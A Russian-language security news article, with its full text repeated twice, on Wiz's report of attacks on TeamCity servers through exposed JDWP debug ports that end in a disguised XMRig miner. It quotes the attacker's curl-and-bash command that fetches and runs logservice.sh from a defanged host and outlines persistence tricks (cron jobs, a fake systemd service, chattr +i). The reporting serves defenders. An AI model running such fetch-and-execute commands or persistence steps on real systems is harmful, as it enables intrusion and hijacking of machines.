Всё стабильно. Только ваш сервер уже приносит прибыль кому-то другому
NewsMakerПротокол для отладки стал оружием.
Специалисты Wiz зафиксировали новую волну атак на серверы TeamCity , популярного инструмента для организации процессов CI/CD. Злоумышленники получили возможность удалённого исполнения команд, воспользовавшись неправильно настроенным интерфейсом Java Debug Wire Protocol (JDWP), после чего загрузили криптомайнер и внедрили ряд механизмов для закрепления в системе.
Главная особенность этой атаки — невероятная скорость. С момента открытия уязвимого сервера до установки вредоносного ПО прошло всего несколько часов. Аналогичную активность специалисты наблюдали и в других случаях, что говорит о высокой степени автоматизации таких атак.
Анализ показал, что злоумышленники использовали модифицированную версию XMRig — популярного среди киберпреступников майнера криптовалют. Конфигурация была жёстко прописана внутри исполняемого файла, что позволяло скрывать подозрительные аргументы командной строки, часто отслеживаемые защитными системами. Дополнительно применялись прокси-сервера для пула майнинга, чтобы скрыть кошелёк для перевода средств и затруднить расследование.
JDWP — это стандартный протокол в экосистеме Java, предназначенный для удалённой отладки приложений. С его помощью можно в реальном времени отслеживать выполнение кода, состояние потоков и памяти без необходимости перезапуска программы. Однако JDWP изначально не предусматривает механизмов аутентификации и контроля доступа. Если его случайно или намеренно открыть в Интернет, это создаёт серьёзную угрозу безопасности: злоумышленники получают полный контроль над процессом Java.
Хотя по умолчанию JDWP в большинстве приложений отключён, в режиме отладки он включается автоматически. Среди систем, где часто можно встретить активный JDWP, специалисты отмечают TeamCity, Jenkins, Selenium Grid, Elasticsearch, Quarkus, Spring Boot и Apache Tomcat.
Наблюдения показали, что JDWP является объектом постоянного интереса злоумышленников. Так, за последние 90 дней команда Wiz с помощью сервиса GreyNoise выявила более шести тысяч уникальных IP-адресов, активно сканирующих Сеть в поисках открытых JDWP-интерфейсов.
Одним из таких сканирований оказался инцидент с honeypot-сервером Wiz, где был открыт порт 5005 для JDWP. Злоумышленник отправил специальный JDWP-Handshake-запрос, чтобы удостовериться в активности интерфейса и получить данные о версии JVM и загруженных классах. Далее была реализована классическая цепочка действий для получения удалённого доступа.
Судя по всему, атакующий использовал инструмент, аналогичный jdwp-shellifier, но с расширенным функционалом. Сначала он запрашивал список доступных классов и методов, затем находил java.lang.Runtime и его методы getRuntime() и exec(). После этого он передавал системные команды, например, для загрузки и запуска вредоносного скрипта logservice.sh:
curl -o /tmp/logservice.sh -s https://canonicalconnect[.]com/logservice.sh
bash /tmp/logservice.sh
Такой сценарий позволял скачать основной вредонос — файл logservice.sh, который сразу начинал чистку системы от других майнеров, завершал процессы с высокой загрузкой CPU (исключая безопасный список), загружал модифицированный XMRig под именем logrotate и внедрялся в систему для закрепления.
Для обеспечения постоянного присутствия применялся целый арсенал методов. Скрипт редактировал файлы автозагрузки и конфигурации оболочек bash и zsh, добавлял себя в системные файлы rc.local, создавал фальшивую службу systemd, которая якобы отвечала за утилиту logrotate, и настраивал многочисленные cron-задания для регулярного перезапуска вредоноса. Более того, атакующий использовал повышенные привилегии для модификации системных файлов с последующим применением chattr +i, что защищало их от удаления.
Особенность применённого вредоноса заключалась в его маскировке под легитимный процесс logrotate. Сам бинарник, по сути, представлял собой кастомизированную версию XMRig, лишённую командной строки и настроек — всё было жёстко зашито внутри. Такой подход существенно затрудняет обнаружение.
Специалисты подчёркивают, что открытый в Интернет JDWP — это серьёзная ошибка настройки, напрямую ведущая к риску удалённого исполнения кода. Особенно опасны такие уязвимости в инфраструктуре CI/CD, так как взлом подобных серверов может повлечь не только скрытый майнинг, но и более сложные и опасные атаки на всю цепочку разработки.

Специалисты Wiz зафиксировали новую волну атак на серверы TeamCity , популярного инструмента для организации процессов CI/CD. Злоумышленники получили возможность удалённого исполнения команд, воспользовавшись неправильно настроенным интерфейсом Java Debug Wire Protocol (JDWP), после чего загрузили криптомайнер и внедрили ряд механизмов для закрепления в системе.
Главная особенность этой атаки — невероятная скорость. С момента открытия уязвимого сервера до установки вредоносного ПО прошло всего несколько часов. Аналогичную активность специалисты наблюдали и в других случаях, что говорит о высокой степени автоматизации таких атак.
Анализ показал, что злоумышленники использовали модифицированную версию XMRig — популярного среди киберпреступников майнера криптовалют. Конфигурация была жёстко прописана внутри исполняемого файла, что позволяло скрывать подозрительные аргументы командной строки, часто отслеживаемые защитными системами. Дополнительно применялись прокси-сервера для пула майнинга, чтобы скрыть кошелёк для перевода средств и затруднить расследование.
JDWP — это стандартный протокол в экосистеме Java, предназначенный для удалённой отладки приложений. С его помощью можно в реальном времени отслеживать выполнение кода, состояние потоков и памяти без необходимости перезапуска программы. Однако JDWP изначально не предусматривает механизмов аутентификации и контроля доступа. Если его случайно или намеренно открыть в Интернет, это создаёт серьёзную угрозу безопасности: злоумышленники получают полный контроль над процессом Java.
Хотя по умолчанию JDWP в большинстве приложений отключён, в режиме отладки он включается автоматически. Среди систем, где часто можно встретить активный JDWP, специалисты отмечают TeamCity, Jenkins, Selenium Grid, Elasticsearch, Quarkus, Spring Boot и Apache Tomcat.
Наблюдения показали, что JDWP является объектом постоянного интереса злоумышленников. Так, за последние 90 дней команда Wiz с помощью сервиса GreyNoise выявила более шести тысяч уникальных IP-адресов, активно сканирующих Сеть в поисках открытых JDWP-интерфейсов.
Одним из таких сканирований оказался инцидент с honeypot-сервером Wiz, где был открыт порт 5005 для JDWP. Злоумышленник отправил специальный JDWP-Handshake-запрос, чтобы удостовериться в активности интерфейса и получить данные о версии JVM и загруженных классах. Далее была реализована классическая цепочка действий для получения удалённого доступа.
Судя по всему, атакующий использовал инструмент, аналогичный jdwp-shellifier, но с расширенным функционалом. Сначала он запрашивал список доступных классов и методов, затем находил java.lang.Runtime и его методы getRuntime() и exec(). После этого он передавал системные команды, например, для загрузки и запуска вредоносного скрипта logservice.sh:
curl -o /tmp/logservice.sh -s https://canonicalconnect[.]com/logservice.sh
bash /tmp/logservice.sh
Такой сценарий позволял скачать основной вредонос — файл logservice.sh, который сразу начинал чистку системы от других майнеров, завершал процессы с высокой загрузкой CPU (исключая безопасный список), загружал модифицированный XMRig под именем logrotate и внедрялся в систему для закрепления.
Для обеспечения постоянного присутствия применялся целый арсенал методов. Скрипт редактировал файлы автозагрузки и конфигурации оболочек bash и zsh, добавлял себя в системные файлы rc.local, создавал фальшивую службу systemd, которая якобы отвечала за утилиту logrotate, и настраивал многочисленные cron-задания для регулярного перезапуска вредоноса. Более того, атакующий использовал повышенные привилегии для модификации системных файлов с последующим применением chattr +i, что защищало их от удаления.
Особенность применённого вредоноса заключалась в его маскировке под легитимный процесс logrotate. Сам бинарник, по сути, представлял собой кастомизированную версию XMRig, лишённую командной строки и настроек — всё было жёстко зашито внутри. Такой подход существенно затрудняет обнаружение.
Специалисты подчёркивают, что открытый в Интернет JDWP — это серьёзная ошибка настройки, напрямую ведущая к риску удалённого исполнения кода. Особенно опасны такие уязвимости в инфраструктуре CI/CD, так как взлом подобных серверов может повлечь не только скрытый майнинг, но и более сложные и опасные атаки на всю цепочку разработки.